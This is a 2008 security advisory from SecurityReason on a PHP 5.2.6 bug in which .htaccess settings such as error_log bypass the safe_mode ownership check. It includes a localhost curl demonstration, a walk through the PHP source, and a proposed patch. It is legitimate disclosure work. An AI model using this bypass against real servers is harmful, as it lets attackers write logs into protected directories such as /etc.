Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:20962
HistoryDec 09, 2008 - 12:00 a.m.

SecurityReason: PHP 5.2.6 SAPI php_getuid() overload

2008-12-0900:00:00
vulners.com
19

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ SecurityReason.com : PHP 5.2.6 SAPI php_getuid() overload ]

Author: Maksymilian Arciemowicz
securityreason.com
Date:

    • Written: 20.11.2008
    • Public: 05.12.2008

SecurityReason Research
SecurityAlert Id: 59

SecurityRisk: High

Affected Software: PHP 5.2.6
Advisory URL: http://securityreason.com/achievement_securityalert/59
Vendor: http://www.php.net

  • — 0.Description —
    PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique
    PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages
    quickly.

http://pl.php.net/manual/pl/refs.utilspec.server.php

  • — 1.PHP 5.2.6 SAPI php_getuid() overload —

Using PHP 5.2.6, as a Apache module can bypass many security points. To understand this issue, first we need know, where
is the problem.

127# cd /www/trafka
127# ls -la
total 12
drwxr-xr-x 2 www www 512 Sep 10 03:49 .
drwxr-xr-x 4 www www 512 Sep 10 03:41 …

Now error_log is empty

Example exploit:

127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=
127# curl http://localhost/trafka/sleep.php
^C
127# curl http://localhost/trafka/sleep.php
^C
127# curl http://localhost/trafka/sleep.php
^C
127# curl http://localhost/trafka/sleep.php
^C
127# curl http://localhost/trafka/sleep.php
^C
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/

any new "apache child" process, allow overload environment like error_log.

127# apachectl restart
/usr/local/sbin/apachectl restart: httpd restarted
127# ps -aux -U www
USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
www 6361 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6362 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6363 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6364 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6365 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/
127# ps -aux -U www
USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
www 6361 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6362 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6363 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6364 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6365 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=
127# ps -aux -U www
USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
www 6361 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6362 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6363 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6364 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6365 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
127#So what is wrong?

Let's try to understand this problem. Let's start with a difference

www 6361 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd

and

www 6361 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd

RSS: 14288-14248 = 40

memory leak? No.

In first request, we have declared error_log, via .htaccess.

  • — main/main.c —

    STD_PHP_INI_ENTRY("error_log", NULL, PHP_INI_ALL, OnUpdateErrorLog,
    error_log, php_core_globals, core_globals)
  • — main/main.c —

goto OnUpdateErrorLog

  • — main/main.c —

    static PHP_INI_MH(OnUpdateErrorLog)
    {
    /* Only do the safemode/open_basedir check at runtime */
    if ((stage == PHP_INI_STAGE_RUNTIME || stage == PHP_INI_STAGE_HTACCESS) &&
    strcmp(new_value, "syslog")) {
    if (PG(safe_mode) && (!php_checkuid(new_value, NULL, CHECKUID_CHECK_FILE_AND_DIR))) {
    return FAILURE;
    }

              if (PG(open_basedir) && php_check_open_basedir(new_value TSRMLS_CC)) {
                      return FAILURE;
              }
    
      }
      OnUpdateString(entry, new_value, new_value_length, mh_arg1, mh_arg2, mh_arg3, stage TSRMLS_CC);
      return SUCCESS;
    

}

  • — main/main.c —

(!php_checkuid(new_value, NULL, CHECKUID_CHECK_FILE_AND_DIR)) <==> False

deeper into safe_mode.c, function php_checkuid()

  • — main/safe_mode.c —

    uid = sb.st_uid;
    gid = sb.st_gid;
    if (uid == php_getuid()) {
    return 1;

    duid = sb.st_uid;
    dgid = sb.st_gid;
    if (duid == php_getuid()) {
  • — main/safe_mode.c —

php_getuid() does not return the correct value at the time of checking safe_mode
for "/etc/"

First request
uid = php_getuid() <==> True
0 <=> uid <=> php_getuid() <==> True

Next request:
uid = php_getuid() <==> False
0 <=> 80 <==> False

because
80 (www uid) = php_getuid()
0 = uid (/etc/ owned by root)

  • — ext/standard/pageinfo.h —

    extern long php_getuid(void);

  • — ext/standard/pageinfo.h —

  • — ext/standard/pageinfo.c —

    long php_getuid(void)
    {
    TSRMLS_FETCH();

      php_statpage&#40;TSRMLS_C&#41;;
      return &#40;BG&#40;page_uid&#41;&#41;;
    

}

  • — ext/standard/pageinfo.c —

  • — ext/standard/pageinfo.c —

    pstat = sapi_get_stat(TSRMLS_C);

      if &#40;BG&#40;page_uid&#41;==-1 || BG&#40;page_gid&#41;==-1&#41; {
              if&#40;pstat&#41; {
                      BG&#40;page_uid&#41;   = pstat-&gt;st_uid;
    

  • — ext/standard/pageinfo.c —

php_getuid() will return corrected value, after first request.

Let's see to SAPI.c

  • — SAPI.c —

    SAPI_API struct stat *sapi_get_stat(TSRMLS_D)
    {
    if (sapi_module.get_stat) {
    return sapi_module.get_stat(TSRMLS_C);
  • — SAPI.c —

for apache 1.3.41, mod_php5.c

  • — mod_php5.c —

    /* {{{ php_apache_get_stat
    */
    static struct stat *php_apache_get_stat(TSRMLS_D)
    {
    return &((request_rec *) SG(server_context))->finfo;
    }
  • — mod_php5.c —

SG(server_context) <=> 0x0

that same situation in sapi_apache2.c for Apache2

Where is problem? In:

if (BG(page_uid)==-1 || BG(page_gid)==-1)

For varibles in .htaccess, BG(page_uid) isn't set.

(BG(page_uid)==-1 || BG(page_gid)==-1) <==> False

=>

( BG(page_uid) <=> 0 <=> BG(page_gid) ) <==> True

uid(0) <=> root

for the values of the .htaccess

This analysis was for variable error_log. We can not determine all the possible use of this error.

There are other potential uses this issue. SecurityReason is not going to release a official exploit to the general public.

  • — 2. How to fix (proof) —
    5.2.7

proof:

0 Step. Add, into main/main.c


static PHP_INI_MH(OnUpdateErrorLog)
{
/* Only do the safemode/open_basedir check at runtime */

  •   BG&#40;page_uid&#41;=-2; // -2 isnt registred 
    
  •   BG&#40;page_gid&#41;=-2; // -2 isnt registred
    

1 Step. Add, into pageinfo.c, end of the main loop in php_statpage()


    • }
      
  •   } else if &#40;BG&#40;page_uid&#41;==-2 || BG&#40;page_gid&#41;==-2&#41; {
    
  •           BG&#40;page_uid&#41; = getuid&#40;&#41;;
    
  •           BG&#40;page_gid&#41; = getgid&#40;&#41;;
    
  •   }
    

It is fix ONLY for error_log in .htaccess.

Official fix
http://cvs.php.net/viewvc.cgi/php-src/sapi/apache/mod_php5.c?r1=1.19.2.7.2.15&amp;r2=1.19.2.7.2.16&amp;diff_format=u
http://cvs.php.net/viewvc.cgi/php-src/ext/standard/basic_functions.c?r1=1.725.2.31.2.78&amp;r2=1.725.2.31.2.79&amp;diff_format=u
http://cvs.php.net/viewvc.cgi/php-src/NEWS?r1=1.2027.2.547.2.1340&amp;r2=1.2027.2.547.2.1341&amp;diff_format=u

iEYEARECAAYFAkk5OIQACgkQpiCeOKaYa9a95wCgiTT2Fl6SNQbFDnHWyQTtlkG8
g0gAoJzijUB94mtnCGlK/7/cFDw9R2gD
=Q0rV
-----END PGP SIGNATURE-----